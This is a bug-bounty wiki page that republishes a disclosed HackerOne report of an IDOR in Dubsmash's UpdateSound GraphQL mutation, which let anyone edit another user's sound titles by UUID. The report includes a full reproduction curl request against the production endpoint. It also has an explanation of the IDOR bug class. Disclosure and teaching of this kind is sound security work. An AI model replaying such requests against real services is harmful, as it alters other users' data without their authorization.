Skip to content
IDOR Disclosed report Beginner

[dubmash] Lack of authorization checks - Update Sound Titles

The UpdateSound GraphQL mutation lacks authorization checks, allowing an attacker to change the title of any sound track by supplying its UUID. The UUID is publicly known, so an attacker can edit other users' sound titles.

sandeep_rj49 Follow

Originally disclosed on HackerOne

  • Triaged in 12 days
  • Fixed in 17 days
  • Paid in 17 days
  • Disclosed after 8 months

Summary:

During the security testing, it has been observed that the UpdateSound api is vulnerable to IDOR. It allows an attacker to edit the victim's sound track titles. This vulnerability can be exploited using the sound track's uuid in the vulnerable request. This id is publicly known.

Steps To Reproduce:

  1. Replay the vulnerable request using a valid authorization token.
  2. Change the uuid parameter value with the victim's sound track UUID.
  3. Victim's sound track title will be changed.

##Vulnerable request: curl -i -s -k -X $'POST'
-H $'Host: gateway-production.dubsmash.com' -H $'X-Dmac: ' -H $'X-Remote-Config-Values: []' -H $'X-Time: 1613158267' -H $'User-Agent: Dopesmash/5.20.0 (com.mobilemotion.dubsmash; build:45431; iOS 14.0.1) Alamofire/5.4.0' -H $'X-Accept-Content-Language: en_IN' -H $'X-Device-Timezone: 19800' -H $'X-Device-Language: en' -H $'X-Device-Country: IN' -H $'X-Build-Number: 45431' -H $'Content-Length: 676' -H $'X-App-Version: 5.20.0' -H $'X-Platform: ios' -H $'Connection: close' -H $'Authorization: Bearer XXXXXX' -H $'X-Dubsmash-Device-Id: 0675382B-668E-4EB7-8313-ED96BC132DC9' -H $'Accept-Language: en-IN;q=1.0, hi-IN;q=0.9' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-Dmac-Version: 2' -H $'If-None-Match: W/"88-IVjhmW06Njcacim4nwHnJNviYsE"'
-b $'__cfduid='
--data-binary $'{"query":"mutation UpdateSound($input: UpdateSoundInput!) {\n updateSound(input: $input) {\n __typename\n sound {\n __typename\n ...SoundFragment\n }\n }\n}\nfragment SoundFragment on Sound {\n __typename\n uuid\n created_at\n sound\n name\n waveform_raw_data\n liked\n soundStatus: status\n creator {\n __typename\n ...ContentCreatorFragment\n }\n share_link\n num_likes\n num_videos\n}\nfragment ContentCreatorFragment on User {\n __typename\n username\n uuid\n date_joined\n followed\n has_invite_badge\n badges\n profile_picture\n}","variables":{"input":{"uuid":"a687eb61ad814a09a8a85cedef7837f3","name":"test12355556777"}}}'
$'https://gateway-production.dubsmash.com/graphql?build_number=45431&platform=ios'

Impact

An attacker can change the title of the victim's sound track to some malicious title like accounthack or similar.

The original report as published on HackerOne, by sandeep_rj49. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the UpdateSound mutation does not verify that the authenticated user owns the sound identified by the supplied UUID.

Impact

An attacker can change the title of the victim's sound track to a malicious title.

What the attacker needed

A valid authorization token; victim's sound track UUID (publicly known)

How it was found

  1. Replay the vulnerable request using a valid authorization token.
  2. Change the uuid parameter value with the victim's sound track UUID.
  3. Victim's sound track title will be changed.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is an Insecure Direct Object Reference (IDOR): the app lets you change a sound's title by sending its unique ID, but it never checks if you own that sound. Because the ID is public, anyone can change anyone else's sound title.

What is IDOR?

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.

More by sandeep_rj49

View all

3 more disclosed reports, best first.

More from Reddit

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.